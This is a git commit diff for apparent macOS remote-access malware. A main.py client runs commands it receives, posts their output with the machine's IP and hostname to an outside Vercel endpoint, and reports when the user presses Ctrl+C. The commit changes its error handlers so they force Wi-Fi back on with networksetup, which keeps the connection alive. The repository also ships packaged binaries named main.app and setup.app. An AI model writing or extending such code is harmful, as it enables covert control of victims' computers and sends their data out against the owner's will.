summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorlittleblack111 <littleblack11111@gmail.com>2023-08-27 22:59:06 +0800
committerlittleblack111 <littleblack11111@gmail.com>2023-08-27 22:59:06 +0800
commit5fb695bca37e000bdde049eef5f647751ee8effd (patch)
treed74d0b778d3c7a464f62d46884351b81496f6c3b
parentbf63e16be259cbc6be6135986b6db1912eb7082d (diff)
updated
-rwxr-xr-xdist/main-macbin7449376 -> 7449376 bytes
-rw-r--r--dist/main.app.zipbin7374671 -> 7374654 bytes
-rwxr-xr-xdist/main.app/Contents/MacOS/mainbin7449376 -> 7449376 bytes
-rw-r--r--dist/setup.app.zipbin7371828 -> 7371828 bytes
-rw-r--r--main.py21
5 files changed, 13 insertions, 8 deletions
diff --git a/dist/main-mac b/dist/main-mac
index bd9e801..efec256 100755
--- a/dist/main-mac
+++ b/dist/main-mac
Binary files differ
diff --git a/dist/main.app.zip b/dist/main.app.zip
index 2e309d2..0110e3f 100644
--- a/dist/main.app.zip
+++ b/dist/main.app.zip
Binary files differ
diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main
index 4b7a8d8..b74b811 100755
--- a/dist/main.app/Contents/MacOS/main
+++ b/dist/main.app/Contents/MacOS/main
Binary files differ
diff --git a/dist/setup.app.zip b/dist/setup.app.zip
index 1f296e1..e750670 100644
--- a/dist/setup.app.zip
+++ b/dist/setup.app.zip
Binary files differ
diff --git a/main.py b/main.py
index 2464981..0a25a71 100644
--- a/main.py
+++ b/main.py
@@ -36,11 +36,11 @@ while True:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when handling discord api``")
except KeyboardInterrupt:
- print("Failed to connect to server")
+ system("/usr/sbin/networksetup -setairportpower en0 on")
continue
continue
except:
- print("Failed to connect to server")
+ system("/usr/sbin/networksetup -setairportpower en0 on")
sleep(3)
continue
# execute command
@@ -81,8 +81,9 @@ while True:
# except KeyboardInterrupt:
# post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when replying to ping``")
# except:
-# print("Failed to connect to server")
-# continue
+ system("/usr/sbin/networksetup -setairportpower en0 on")
+
+# continue
if command.startswith("cd"):
dir=command.replace('cd', '')
try:
@@ -96,7 +97,8 @@ while True:
except FileNotFoundError:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``$ {command}`` ```No Such Directory```-{ip}@{hostname}")
except:
- print("Failed to connect to server")
+ system("/usr/sbin/networksetup -setairportpower en0 on")
+
continue
old_command = command
if localcmd:
@@ -126,7 +128,8 @@ while True:
continue
continue
except:
- print("Failed to sent (error)output")
+ system("/usr/sbin/networksetup -setairportpower en0 on")
+
continue
if cmdout.decode() != "" and cmderr.decode() == "":
try:
@@ -141,7 +144,8 @@ while True:
continue
continue
except:
- print("Failed to sent output")
+ system("/usr/sbin/networksetup -setairportpower en0 on")
+
continue
elif cmdout.decode() == "" and cmderr.decode() == "":
try:
@@ -153,7 +157,8 @@ while True:
continue
continue
except:
- print("Failed to sent output")
+ system("/usr/sbin/networksetup -setairportpower en0 on")
+
continue
old_command = command
continue